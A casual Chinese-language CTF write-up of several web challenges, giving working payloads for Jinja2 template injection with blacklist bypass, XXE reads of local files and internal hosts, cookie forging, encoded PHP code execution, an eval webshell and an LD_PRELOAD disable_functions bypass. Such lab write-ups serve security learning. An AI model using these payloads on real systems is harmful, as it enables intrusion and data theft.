你爹刷题4
[BSidesCF 2019]Futurella
F12看到flag
有🍪吧
[BJDCTF2020]EasySearch
进去是一个登陆页面
进去随便试了几个,回显都一样,试着用dirsearch扫描看能不能找到突破口
你👱🏻经过相关查询发现这道题的关键是swp,正好被你👱🏻扫描到了
下面放出源代码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
进行代🐴审计
uniqid()函数是基于以微秒计的当前时间,生成一个唯一的ID
sha1()函数计算字符串的SHA-1散列
password的MD5值前6位要等于6d0bc1
这里直接用python跑出md5加密前面是6d0bc1的密文
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
print(a)
抓包后传输过去,发现过了第一层,并发现上面给了个Url
代进去试试
这里输出了用户名的名字
既然这里是shtml,那么可以利用Apache SSI 远程命令执行漏洞上传一个shtml文件内容为
password既然是个固定值,那么唯一可控的地方就是username
可以在username这里整活
将这里的url代入可以得到flag的位置
再构造
代入url就可以得到flag
[GYCTF2020]FlaskApp
你👱🏻看到一开始就提示了是flask注入
然后这个输入框应该就是注入点,一般来说加密框把数据加密后就不会执行代码了,所以应该是解密框执行代码。
比如输入22
发现存在ssti注入
输入
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
来查看根目录,如法炮制后得到
在🐶叫了,说明被ban掉了
这时候看看hint,告诉你👱🏻失败乃成功之👱♀️
你👱🏻想起来之前测试的时候,如果输入一些能让解密4️⃣🐴的东西,能跳出来新网页
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
那么这里必须要拿下waf了
这里读源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request","subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
可以看到这里过滤了flag和os
看来得用到字符串拼接了
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
这里拿到了flag的位置
this_is_the_flag.txt
再次对flag进行拼接
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
[NCTF2019]True XML cookbook
你👱🏻打开就是个登陆界面,又是注入了
进行抓包,感觉这个username和password怪怪的
搜了一下,可能是xxe漏洞,偷个exp发过去试试
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "file:///flag">
]>
<user><username>&exp;</username><password>aaaa</password></user>
没读到flag
再试试获取源🐴
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&exp;</username><password>aaaa</password></user>
base64解密后得到
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>%
输入里面的username和password,果然成功登陆
但是没发现什么东西
这里又蒙了,这里好像也看不出什么有用的东西
再搜了一下,好像是要内网探测存活的主机获取/etc/hosts文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "file:///etc/hosts">
]>
<user><username>&exp;</username><password>aaaa</password></user>
这里也没有可用信息,再读取另外一个/proc/net/arp文件
这里出现了flag和一个特殊ip 10.128.253.12
构造
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "http://10.128.253.12">
]>
<user><username>&exp;</username><password>aaaa</password></user>
有报错,这里使用intruder扫描C段
然后这个题目环境有病,导致最终做不出来,但是思路是这个思路。
[BSidesCF 2019]Kookie
你👱🏻打开题目经典登录
这里已经提示了cookie,那就开始抓包
添加Cookie:monster=admin 这里成功登录
这里还能看到set-cookie里面的username,那么我们重新构造
Cookie:monster=admin;username=admin
然后拿下
[极客大挑战 2019]RCE ME
你👱🏻进去是代码审计
这里意思很简单,Get的字符串不能超过40位,其次还需要绕过正则
这里需要用取反urlencode编码绕过
即对查询语句取反,然后编码。
在编码前加上~进行取反,括号没有被过滤,不用取反
所以构造
<?php
echo urlencode(~'phpinfo');
?>
得到%8F%97%8F%96%91%99%90
所以payload为
?code=(~%8F%97%8F%96%91%99%90)();
这里可以看到被ban的函数
使用一句话木马连接蚁剑
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["cmd"]))';
$d=urlencode(~$c);
echo $d;
?>
但点进去flag没东西,这里应该是因为之前被限制了函数
所以你👱🏻需要绕过被ban的函数。
你👱🏻搜了下,本来要用蚁剑的插件市场,但是最近莫名其妙打不开死个🐴
所以只能绕远路了
这里需要readflag才能得到flag,这里需要利用利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
在/var/tmp/目录存在上传权限,上传我们的exp
https://www.anquanke.com/post/id/175403
这里是EXP地址
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
这里的shell其实就是另外一个php改名,只是shell短一点更好写
这里构造exp执行命令
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
这里的payload是偷的网上的异或payload,后面的是根据上传的写的
执行得到flag